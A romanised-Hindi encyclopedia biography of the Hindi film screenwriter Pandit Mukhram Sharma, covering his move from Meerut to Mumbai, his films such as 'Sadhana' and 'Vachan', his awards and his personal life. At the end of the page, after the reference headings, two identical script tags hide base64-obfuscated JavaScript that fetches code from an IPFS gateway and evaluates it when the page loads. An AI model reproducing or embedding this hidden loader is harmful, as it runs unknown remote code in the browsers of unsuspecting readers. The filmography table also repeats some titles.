पण्डित मुखराम शर्मा
pandit mukharam sharma
| |
| poora nam | pandit mukharam sharma |
| janm | 30 mee, 1909 |
| janm bhoomi | merath, uttar pradesh |
| mrityu | 25 aprail, 2000 |
| karm bhoomi | bharat |
| karm-kshetr | katha, patakatha aur sanvad lekhak |
| mukhy filmean | 'vachan', 'gharana', 'dhool ka phool', 'dadi maan', 'maian sundar hooan', 'santan', 'patanga', 'do kaliyaan', 'raja aur rank', 'ek hi rasta' adi. |
| puraskar-upadhi | 'filmafeyar puraskar' (tin bar), 'sangit natak akadami puraskar' (1961), 'merath ratn puraskar', 'zi laifataim achivameant puraskar' (2000) |
| prasiddhi | patakatha lekhak |
| nagarikata | bharatiy |
| any janakari | apane paanch hazar rupaye ki vah dhanarashi, jo 'sadhana' film ke lie 'filmafeyar puraskar' dvara prapt ki thi, ek kanya pathashala ko dan kar di thi. |
pandit mukharam sharma (aangrezi: Mukhram Sharma; janm- 30 mee, 1909, merath, uttar pradesh; mrityu- 25 aprail, 2000) 'bharatiy sinema' mean apane samay ke khyatiprapt patakatha lekhak the. ve merath se sadharan shakhs ke taur par mayanagari muanbee pahuanche the aur filmi duniya mean katha, patakatha aur sanvad lekhak ke taur par ek mahanh hasti ka darja paya tha. poore bharat se film vitarak mukharam sharma ko fon karake poochha karate the ki unaki agali film kaun-si hai aur kisake sath hai. us samay mukharamaji ka javab kisi film ke sabhi adhikar ratoan-rat bikavane ki garanti hua karata tha. ve jo likh rahe hote the, usaka traik rakhane ke lie vitarak aur nirmata unake ghar ke niyamit chakkar lagate rahate the. unake pas apani pasand ke nirmata aur nirdeshakoan ko apani kahaniyaan ko bechane ka vishesh adhikar prapt tha.
jivan parichay
pandit mukharam sharma ka janm 30 mee, 1909 mean merath ke qila parikshitagadh kshetr ke ek gaanv poothi mean hua tha. unhoanne apane vyavasayik jivan ki shuruat hindi aur sanskrit ke shikshak ke roop mean ki thi. mukharamaji merath mean hi shikshak ke pad par niyukt hue the, lekin shikshan kary se pyar karane ke bavajood bhi ve apane bhitar ek kami mahasoos karate the. unhoanne mahasoos kiya ki shikshan unaka asali vyavasay nahian tha.[1]
mumbee agaman
filmean dekhana mukharam sharma ji bahut pasand karate the aur "prabhat film kanpani" aur "nyoo thiyetar" dvara banaee gee filmoan ke b de shaukin tatha prashansak the. patrikaoan ke lie laghu kahaniyaan aur kavitaean likhane vale mukharam sharma ne nishchay kiya ki ab ve filmoan ke lie bhi likhana shuroo kareange. vah merath mean apane ek mitr ke pas ge, jo hindi film udyog ke sath ju da hua tha aur mumbee ata-jata rahata tha. unhoanne use apani ek kahani sunaee. dost unase itana prabhavit hua ki usane mukharamaji se apane sath mumbee ane ko kaha. is prakar varsh 1939 mean mukharam sharma sapanoan ke shahar mumbee a gaye.
praranbhik nirasha
shuruat mean mukharam sharma ji ko saphalata prapt nahian huee. film nirmataoan ne is pratibhashali lekhak ka svagat nahian kiya aur mukharam bahut hi hatasha aur nirasha mean apani patni aur bachchoan ke sath, jo unake sath hi muanbee rahane a gaye the, pune chale ge. ve 'prabhat films', jise vi. shaantaram chala rahe the, pahuanche aur vahaan chalis rupaya prati mah par kalakaro ko marathi sikhane ki jimmedari svikar kar li.
saphalata ki prapti
varsh 1942 mean unhean raja nene dvara nirdeshit film "das baje" ke git likhane ka mauka mila, jisamean urmila aur paresh banarji adakari kar rahe the. film 'das baje' ek supar hit sabit huee. is praranbhik saphalata ke chalate mukharam sharma ko raja harishchandr aur taramati ki prem kahani par adharit shobhana samarth abhinit raja nene ki agali film "taramati" likhane ka avasar mila. yah film n sirf ek b di hit sabit huee balki mukharamaji dvara isake turant bad likhi geean agali do filmoan 'vishnu bhagavan' aur 'nal damayanti' ko bhi safalata mili. kiantu ab mukharam sharma ek badalav chahate the aur unaki kamana samajik samasyaoan ke vishayoan par bhi kahani likhane ki thi.[1]
yah avasar bhi mukharam sharma ko jald hi mil gaya. unhean yah mauka tab mila, jab raja nene ne ajnat marathi abhinetao ke sath unaki ek shurooati kahani par film banayi. lekin yah film asaphal rahi. isake bad unaki agali marathi film "stri janma tujhi kahani" ko bhari safalata mili. yah film nirdeshak datta dharmadhikari ke sath thi, jinhoanne mukharamaji ki ek laghu katha ko marathi mean bana dala tha. is film ki saphalata yadagar rahi aur bad mean ise "aurat teri yahi kahani" film ke roop mean hindi mean punarnirmit bhi kiya gaya. isake bad halaanki unake pune sthit ghar mean nirmataoan ka taanta bandh gaya tha, kiantu mukharamaji usaki anadekhi karake muanbee laut ae. ab saphalata unake qadam choom rahi thi.
pramukh filmean
pandit mukharam sharma ki mumbee mean film 'aulad' thi. jab varsh 1954 mean yah film parade par aee to isaki saphalata ke bad mukharamaji ne phir pichhe mu dakar nahian dekha. 1955 mean apani kahani ke lie pahala 'film pheyar puraskar' lene ke bad unhoanne nimnalikhit saphal filmean likhian-
| kr. san. | film | kr. san. | film |
|---|---|---|---|
| 1. | vachan | 2. | ek hi rasta |
| 3. | dushman | 4. | sadhana |
| 5. | santan | 6. | bahanean |
| 7. | talaq | 8. | dhool ka phool |
| 9. | samadhi | 10. | hamajoli |
| 11. | vachan | 12. | svapn suhane |
| 13. | patanga | 14. | dadi maan |
| 15. | jine ki rah | 16. | maian sundar hooan |
| 17. | raja aur rank | 18. | do kaliyaan |
| 19. | gharana | 20. | grihasthi |
| 21. | pyar kiya to darana kya | 22. | hamajoli |
| 23. | naukar | 24. | sau din sas ke |
mukharam sharma ji ne varsh 1958 mean ek nirmata ke taur par 'talaq' aur 'santan' sahit adha darjan filmean banaee thian. samajik samasyaoan par prakash dalane aur apani kahaniyoan ke dvara unaka hal dhooandhane mean unaki ruchi ne unake lekhan ke pichhe ki asali takat ke roop mean kam kiya. unaki lagabhag sabhi filmean apani samajik tippani aur sudhar ki disha mean die ge sujhavoan ke karan pasand ki jati thian. film 'ek hi rasta' vidhavaoan ki samasyaoan par adharit thi. 'vachan' ek avivahit beti ki kahani thi, jo apane parivar ka lalan-palan karati hai. film 'svapn suhane' bhaiyoan aur unake parasparik sanbandhoan ki kahani thi, jabaki 'patanga' mean malik aur naukar ke bich ke sanvedanashil rishte ko pramukhata ke sath prastut kiya gaya tha.[1]
'sadhana' film
mukharamaji ki sabase mashahoor filmoan mean se ek 'sadhana' gahari aantardrishti ke sath ek veshya ke jivan par prakash dalati hai. yah vakalat karati hai ki veshyavritti ek aisi samajik pratha hai, jahaan purush bhi saman roop se zimmedar hai aur koee bhi veshya sabase pahale ek stri hai phir kuchh aur. apani is film ke madhyam se mukharamaji ji ne samaj ke samaksh yah bat rakhi ki ek veshya ko samaj dvara svikar kiya jana chahie. unhoanne film ke madhyam se darshakoan ko vishvas dilaya ki yah n sirf sanbhav hai balki sahi bhi hai. b aauks-aauphis par 'sadhana' film ki saphalata ne yah sabit kar dikhaya ki mukharamaji samay ke sath the aur unhean apane darshakoan ki nabz ki poori tarah samajh thi.
rochak prasang
film 'sadhana' ke nirman ke bare mean ek dilachasp kissa bhi hai. is film ki kahani ko poora karane ke bad mukharamaji bimal r aauy ke pas gaye aur unase isaka nirdeshan karane ke lie agrah kiya. bimal r aauy ne 'mohan stoodiyo' mean milane ka sujhav diya aur kar yatra ke dauran mukharamaji se 'sadhana' ki kahani sunane ko kaha. kahani sunate hi bimal r aauy isake bold vishay se prabhavit hokar turant ise banane par sahamat ho gaye. lekin ve ek ulajhan mean the ki is kahani ko darshakoan dvara svikar kiya jaega ya nahian. unhoanne film ka aant badalane ke lie ek sujhav diya. unaka dava tha ki 'rajini' (urf champabaee, abhinetri vaijayanti mala dvara nibhaya gaya charitr) chooanki ek badanam aurat hai, log use bahoo ke roop mean svikar nahian kareange. isalie kahani ko usaki maut ke sath samapt karana behatar hoga. mukharamaji ne bimal da ko suna aur draivar se ga di rokane ko kaha. ve kar se bahar a gaye, bimal da ko laga ki mukharamaji shanka nivaran athava kisi aur avashyak kary hetu utare haian, parantu unake ashchary ka thikana na raha, jab mukharamaji vahaan se chal die. unhoanne ek taiksi li aur sidhe bi. ar. chop da ke pas pahuanche, jo kahani ko jas ka tas filmane ke lie razi the.[1]
pandit mukharam sharma aur bi. ar. chop da ne lambe arase tak ek sath kam kiya. bi. ar. chop da unake aantim dinoan tak gahare dost bhi bane rahe. chop da ne hamesha apani filmoan mean mukharamaji ke yogadan ko bharapoor saraha tatha unhean hamari saphalata ka lekhak (aauthar aauf aauvar sakses) kah kar unaka samman kiya.
dakshin ki or prasthan
pandit mukharam sharma ne ane vale varshoan mean ek shanadar sitare ka darza hasil kiya aur unaka mahatv is bat se pata chalata hai ki ve apani likhi film mean kahani, patakatha aur sanvad ke lie alag-alag kredits liya karate the. bad mean ve nayadoo ki film 'devata' likhane ke lie dakshin bharat ki or chale ge. phir ek ke bad ek el. vi. prasad ki 'dadi maan', 'jine ki rah', 'maian suandar hooan', 'raja aur rank'; eviem stoodiyo ki 'do kaliyaan'; jaimini films ki 'gharana, 'grihasthi' tatha any nirmataoan ke lie 'pyar kiya to darana kya' aur 'hamajoli' jaisi anekoan filmean likhate chale gaye. ye sabhi filmean us samay ki b di hits thian. prasiddhi aur saubhagy ki varsha se bina dige pandit mukharam sharma ne 70 varsh ki umr mean ek lambi filmi pari khelane ke bad lekhan kary se sevanivritt hone ka phaisala kar liya. varsh 1980 mean film 'naukar' aur 'sau din sas ke' pradarshit hone ke bad ve merath vapas laut ae.
puraskar tatha samman
pandit mukharam sharma ne apane behatarin kam ke lie kee puraskar bhi jite. varsh 1950 se 1970 tak unake ullekhaniy puraskaroan mean tin 'filmafeyar puraskar' bhi the, jo unhean film 'aulad', 'vachan' aur 'sadhana' ke lie mile the. varsh 1961 mean unhean pratishthit 'sangit natak akadami puraskar' bhi mila, jise unhoanne tatkalin rashtrapati rajeandr prasad se grahan kiya tha. mukharamaji 'merath ratn puraskar' se bhi navaze gaye, jo unhean merath ko die gaye apane utkrisht yogadan ke lie pradan kiya gaya tha. filmoan mean unake yogadan ke lie unhean "impa"[2] aur 'tivi kalakar esosieshan' se bhi samman hasil hue. faravari 2000 mean unake nidhan se tho da pahale unhean 'zi laifataim achivameant puraskar' se bhi sammanit kiya gaya tha.[1]
vyaktitv
pandit mukharam sharma hamesha zamin se ju de vyakti rahe. ve k di mehanat ki sarahana karate the aur samay ke mahatv ko bhali-bhaanti samajhate the. unhean nayi karoan ka shauq tha aur un dinoan mean unhoanne embaisaidar kar ka navinatam m aaudal bhi apane lie kharida tha, kiantu safalata ne is sadharan adami ko nahian badala. halaanki ve muanbee film sarkit ki b di se b di hasti ke sath uthate-baithate the, lekin unhoanne isaki khumari ko kabhi apane par havi nahian hone diya. unaki duniya unake kamare tak hi simit thi, jo unaka aaufis bhi tha. ve apani prerana dhooandhane ke lie hotal ya shahar ke bahar jana pasand nahian karate the. apane kamare mean apane dirghakalik sahayogi vishnu meharotra ke sath baith kar, mukharamaji roz savere niyamit taur par lekhan karate the. dopahar ke bhojan bad ve nirmataoan se milana pasand karate the. saphalata ne unhean aur adhik vinamr banane aur apani j doan se baandhe rakhane mean hi sahayog diya. 5000 rupaye ki vah dhanarashi, jo unhoanne 'sadhana' film ke lie 'filmafeyar puraskar' dvara prapt ki thi, poothi ki kanya pathashala ko dan kar diye the.
nidhan
apani badhati huee umr mean bhi mukharamaji ne likhane ka silasila jari rakha aur kee kahaniyaan tatha adha darjan se bhi adhik upanyas prakashit karavaye. apane bad ke varshoan mean mukharamaji, jinaka nam darshak film ke postars par dekhane ke murid the, prasiddhi aur paise ki taraf mu dane mean zara bhi dilachaspi nahian rakhata tha. unhoanne apane priyajanoan ke bich apane shahar mean 25 aprail, 2000 ko merath mean apani aantim saans li. yadyapi unake bete ramasharan ne 'svapn suhane', 'devar bhabhi', 'bahanean' aur 'patanga' jaisi filmoan ke nirman ke zariye apane pita ke padachihnoan par chalane ka prayas kiya, par mukharamaji apane bachchoan ko film udyog mean lane ke lie utsuk nahian the. isaka mukhy karan tha- unaka apana praranbhik varshoan ka kathinatam sangharsh.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>